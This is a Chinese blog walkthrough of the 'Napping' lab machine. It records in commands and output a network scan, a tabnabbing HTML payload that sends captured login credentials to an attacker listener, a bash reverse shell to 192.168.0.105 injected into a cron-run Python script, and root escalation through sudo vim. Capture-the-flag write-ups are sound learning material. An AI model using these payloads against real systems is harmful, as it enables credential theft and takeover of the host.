Napping

最新推荐文章于 2023-05-17 21:33:18 发布
最新推荐文章于 2023-05-17 21:33:18 发布
阅读量708 收藏
点赞数 1
分类专栏： 笔记 文章标签： 学习 web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Forever_Han13/article/details/123763093
版权 
$ sudo nmap -sP 192.168.0.1/24

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 19:25 CST
Nmap scan report for 192.168.0.1
Host is up (0.00040s latency).
MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies)
Nmap scan report for 192.168.0.100
Host is up (0.012s latency).
MAC Address: 52:43:BB:A1:BF:A7 (Unknown)
Nmap scan report for 192.168.0.101
Host is up (0.014s latency).
MAC Address: DA:3F:DF:36:C2:F8 (Unknown)
Nmap scan report for 192.168.0.103
Host is up (0.00020s latency).
MAC Address: 08:00:27:49:EE:4D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.104
Host is up (0.014s latency).
MAC Address: C8:94:02:0F:E5:33 (Chongqing Fugui Electronics)
Nmap scan report for 192.168.0.109
Host is up (0.0016s latency).
MAC Address: E8:6A:64:83:2C:C0 (Lcfc(hefei) Electronics Technology)
Nmap scan report for 192.168.0.105
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 1.93 seconds


$ sudo nmap -sV -sC -A 192.168.0.103

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 19:26 CST
Nmap scan report for 192.168.0.103
Host is up (0.00021s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c4:fc:dc:4b:f4:31:a0:ad:0d:20:61:fd:ca:ab:79 (RSA)
|   256 6f:31:b3:e7:7b:aa:22:a2:a7:80:ef:6d:d2:87:6c:be (ECDSA)
|_  256 af:01:85:cf:dd:43:e9:8d:32:50:83:b2:41:ec:1d:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:49:EE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms 192.168.0.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds


<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Joker</title>
</head>

<body>
    <script>
        if (window.opener) mainframe.location.replace = ('http://192.168.0.105:7777/login.html');
        if (window.opener != window) mainframe.location.replace = ('http://192.168.0.105:7777/login.html');
    </script>
</body>

</html>

$ nc -lvvp 7777

listening on [any] 7777 ...
192.168.0.103: inverse host lookup failed: Unknown host
connect to [192.168.0.105] from (UNKNOWN) [192.168.0.103] 45716
POST /login.html HTTP/1.1
Host: 192.168.0.105:7777
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

username=daniel&password=C%40ughtm3napping123 sent 0, rcvd 274

$ ssh -p22 daniel@192.168.0.103 

daniel@napping:~$ id

uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)

daniel@napping:~$ groups

daniel administrators

daniel@napping:~$ find / -group administrators  -print 2>/dev/null

/home/adrian/query.py

daniel@napping:~$ cat /home/adrian/query.py

from datetime import datetime
import requests

now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()

daniel@napping:~$ cat /home/adrian/site_status.txt 

Site is Up: 24/03/2022 15:20:01
Site is Up: 24/03/2022 15:22:02
Site is Up: 24/03/2022 15:24:01
Site is Up: 24/03/2022 15:26:01
Site is Up: 24/03/2022 15:28:01
Site is Up: 24/03/2022 15:30:01
Site is Up: 26/03/2022 11:26:11
Site is Up: 26/03/2022 11:28:01
Site is Up: 26/03/2022 11:30:01
Site is Up: 26/03/2022 11:32:01
Site is Up: 26/03/2022 11:34:01
Site is Up: 26/03/2022 11:36:02
Site is Up: 26/03/2022 11:38:01
Site is Up: 26/03/2022 11:40:01
Site is Up: 26/03/2022 11:42:01
Site is Up: 26/03/2022 11:44:01
Site is Up: 26/03/2022 11:46:02
Site is Up: 26/03/2022 11:48:01
Site is Up: 26/03/2022 11:50:01
Site is Up: 26/03/2022 11:52:01
Site is Up: 26/03/2022 11:54:01
Site is Up: 26/03/2022 11:56:02
Site is Up: 26/03/2022 11:58:01

daniel@napping:~$ vim /home/adrian/que

daniel@napping:~$ vim /home/adrian/query.py 

daniel@napping:~$ cd /home/adrian/

daniel@napping:/home/adrian$ ls

query.py  site_status.txt  user.txt

vim /dev/shm/shell.sh 

#! /bin/bash
sh -i >& /dev/tcp/192.168.0.105/2333 0>&1

daniel@napping:/tmp$ cd /home/adrian/

               
daniel@napping:/home/adrian$ vim query.py 

daniel@napping:/home/adrian$ cat query.py 

from datetime import datetime
import requests
import os
now = datetime.now()

os.system('/usr/bin/bash /dev/shm/shell.sh')
r = requests.get('http://127.0.0.1/')

if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()

nc -lvp 2333

listening on [any] 2333 ...
192.168.0.103: inverse host lookup failed: Unknown host
connect to [192.168.0.105] from (UNKNOWN) [192.168.0.103] 37988
sh: 0: can't access tty; job control turned off
$ sudo -l 
Matching Defaults entries for adrian on napping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adrian may run the following commands on napping:
    (root) NOPASSWD: /usr/bin/vim
$ 

$ sudo /usr/bin/vim -c ':!/bin/sh'

Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

E558: Terminal entry not found in terminfo
'unknown' not known. Available builtin terminals are:
    builtin_amiga
    builtin_beos-ansi
    builtin_ansi
    builtin_pcansi
    builtin_win32
    builtin_vt320
    builtin_vt52
    builtin_xterm
    builtin_iris-ansi
    builtin_debug
    builtin_dumb
defaulting to 'ansi'

:!/bin/sh
ls
query.py
site_status.txt
user.txt
whoami
root
cd /root	
ls
del_links.py
del_users.py
nap.py
root.txt
snap
cat root.txt
Admins just can't stay awake tsk tsk tsk
N1etzsche
关注
专栏目录
matlab 字符串比较相等,关于判断两个字符串相等的问题
weixin_29146701的博客
03-16 4339
做出来了，我把含有癞子的字符串和不含癞子字符串弄反了。。。谢谢版主。matlab里面的正则表达式(2010-08-26 13:17:17)转载标签：matlab正则表达regularexpression教育 分类： matlab及perl学习1. 引言正则表达式就是一个表达式(也是一串字符)，它定义了某种字符串模式——利用正则表达式，可以对大段的文字进行复杂的查找、替换等。本文将以...
nmap-7.92 + npcap-1.55
09-27
nmap-7.92-1.x86_64.rpm + nmap-7.92-setup.exe + nmap-7.92-win32.zip + npcap-1.55.exe
Vulnhub_Napping
qq_45434762的博客
02-13 3353
本文内容涉及程序/技术原理可能带有攻击性，仅用于安全研究和教学使用，务必在模拟环境下进行实验，请勿将其用于其他用途。因此造成的后果自行承担，如有违反国家法律则自行承担全部法律责任，与作者及...
nmap说明与实操
hk_hkl的博客
05-17 632
实操系列
nmap — 网络探测工具和安全/端口扫描器
一碗烈酒的博客
11-20 989
简介： Nmap（“网络映射器”）是一个免费的开源（许可) 用于网络发现和安全审计的实用程序。许多系统和网络管理员还发现它对于网络库存、管理服务升级计划以及监控主机或服务正常运行时间等任务很有用。Nmap 以新颖的方式使用原始 IP 数据包来确定网络上可用的主机、这些主机提供的服务（应用程序名称和版本）、它们运行的​​操作系统（和操作系统版本）、数据包过滤器/防火墙的类型正在使用中，以及其他数十种特性。它旨在快速扫描大型网络，但对单个主机也能正常工作。Nmap 运行在所有主要的计算机操作系统上，官方二进制
Nmap网络扫描器实验
Fright-Moch的博客
05-09 7173
网络入侵的一般流程是确定目标、信息收集、漏洞挖掘、实施攻击、留下后门、清除日志。在信息收集环节又可分为网络踩点、网络扫描和网络查点。在网络扫描部分，按照攻击者的入侵流程又可分为主机扫描、端口扫描、系统类型探测和漏洞扫描。 网络扫描是针对整个目标网络或单台主机，网络扫描可以全面、快速、准确的获取目标系统的信息；通过网络扫描发现对方，获取对方的信息是进行网络攻防的前提。至今，互联网上有许多开源的优秀网络扫描工具，Nmap（简称Network Mapper）就是世界上最流行功能、最强大的网络扫描工具。
nmap简单入门指令
weixin_43575859的博客
05-27 1218
1.nmap基本操作 nmap 192.168.0.1 扫描结果显示出了目标主机的信息，host is up 说明主机处于连网状态，然后有一个80端口开放，提供http服务。 也可以直接输入域名来扫描 nmap www.baidu.com 指定范围扫描 nmap 192.168.0.1-24 说明这个区段只有一个主机。 连续范围扫描 命令语法：nmap [ip地...
NAPPING
10-24
标题"NAPPING"可能指的是一个与字体设计或者艺术相关的项目，因为"字体"是给定的标签之一。在IT行业中，字体通常涉及到用户界面（UI）设计、网页设计、图形设计等领域，是信息传达的重要组成部分。字体的选择和设计...
napping-player:适用于 Android 平板电脑的视频播放器，可进行“小睡”实验
06-29
打盹儿 这是一款适用于 Android 平板电脑的视频播放器，可以进行“小睡”实验。 什么是午睡实验？ 来自 Nestrud、Michael A. 和 Harry T.... “从 MFA 和 MDS 的小睡数据中恢复子采样维度和配置。...
如何删除导入napping
05-26
如果您想删除已导入的Python模块`napping`，可以使用以下命令： ``` pip uninstall napping ``` 这将从Python环境中删除`napping`模块及其依赖项。请注意，您需要在命令行中执行此命令，并确保您具有足够的权限来...
The Sleeping Teaching Assistant A university computer science department has a teaching assistant (TA) who helps undergraduate students with their programming assignments during regular office hours. The TA’s office is rather small and has room for only one desk with a chair and computer. There are three chairs in the hallway outside the office where students can sit and wait if the TA is currently helping another student. When there are no students who need help during office hours, the TA sits at the desk and takes a nap. If a student arrives during office hours and finds the TA sleeping, the student must awaken the TA to ask for help. If a student arrives and finds the TA currently helping another student, the student sits on one of the chairs in the hallway and waits. If no chairs are available, the student will come back at a later time. Using POSIX threads, mutex locks, and/or semaphores, implement a solution that coordinates the activities of the TA and the students. Details for this assignment are provided below. Using Pthreads, begin by creating N students. Each will run as a separate thread. The TA will run as a separate thread as well. Student threads will alternate between programming for a period of time and seeking help from the TA. If the TA is available, they will obtain help. Otherwise, they will either sit in a chair in the hallway or, if no chairs are available, will resume programming and will seek help at a later time. If a student arrives and notices that the TA is sleeping, the student must notify the TA using a semaphore. When the TA finishes helping a student, the TA must check to see if there are students waiting for help in the hallway. If so, the TA must help each of these students in turn. If no students are present, the TA may return to napping. Perhaps the best option for simulating students programming—as well as the TA providing help to a student—is to have the appropriate threads sleep for a random period of time using the sleep() API:
最新发布
06-04
This is a programming assignment that requires the use of POSIX threads, mutex locks, and/or semaphores to coordinate the activities of the TA and the students. Here is one possible solution: ...
nmap-7.92-1.x86_64.rpm
09-28
nmap-7.92-1.x86_64.rpm
极客之眼 Nmap：窥探世界的第一步
两个月亮
04-29 1733
Nmap（Network Mapper） 是 一个免费的开源网络扫描工具，它可以用来探测主机和端口，以及执行漏洞扫描和安全审计。Nmap可以扫描单个主机或整个网络段，识别目标主机的操作系统、应用程序和服务，确定网络拓扑，并生成可视化的拓扑图和报告。Nmap 可在所有主要计算机操作系统上运行，并且提供控制台和图形版本。Nmap 具有许多高级功能，包括对不同类型的扫描技术和扫描策略的支持，以及对大规模网络和高速网络的扫描性能的优化。Nmap 还支持自定义脚本，可以扩展其功能以满足不同的需求。
【渗透测试笔记】之【MSF 信息搜集】
AA8j的博客
11-11 1434
Nmap msf5 > db_nmap -sV 192.168.172.130 [*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-07 16:20 CST [*] Nmap: Nmap scan report for 192.168.172.130 [*] Nmap: Host is up (0.0011s latency). [*] Nmap: Not shown: 997 closed ports [*] Nmap: POR
渗透之——Metasploit渗透MSSQL
热门推荐
冰河的专栏
01-18 1万+
转载请注明出处：https://blog.csdn.net/l1028386804/article/details/86535576 攻击机 kali 192.168.109.137 靶机 Win7_x64 192.168.109.139 数据库 MSSQL 2008 R2 MSSQL运行在TCP的1433端口以及UDP的1434端口 1.使用NMAP对MSSQL进行踩点 这里，我们使...
charles 本地IP地址
an168bang521的博客
09-20 4939
本文参考：charles 本地IP地址 手机进行抓包时候，再wifi里面需要这是这个； 比如我的IP是：192.168.0.103,那么手机如果抓包，就要再代理设置成这个IP； 端口查看参见：charles 代理设置 默认是:8888 本文参考：https://www.axihe.com/ ...
Exchange ProxyShell复现
ruyueattention
10-09 5556
0x1 参考链接 https://blog.csdn.net/qq_41874930/article/details/120037619 https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell https://www.4hou.com/posts/8Wp2 https://peterjson.medium.com/repr
docker login出现Get http://192.168.0.105/v2/: dial tcp 192.168.0.105: connect: connection refused
qq_36213455的博客
05-23 4437
1. vim /etc/docker/daemon.json 增加一下内容 ip放开 { "registry-mirrors": [ "http://hub-mirror.c.163.com" ], "insecure-registries":["192.168.0.105","192.168.0.105:80","192.168.0.105:5000"] } 2.systemctl daemon-reload 3.systemctl restart docker 再次登录docker login 192
CentOS7搭建Docker私有仓库
weixin_33762130的博客
11-10 130
  学习Docker的过程中Docker的私有仓库一直没能成功，就是因为CentOS 6.x和CentOS 7默认引入了支持https认证，每次在push和pull的时候都会报错，今天是周末，利用一天的时间反复测试和网上案列的整合，总算是成功了，也借此 机会对学习Docker的朋友有所帮助。 个人的愚见：博友在练习的时候建议用CentOS 7.x系统，不建议用CentOS 6.x系统   ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值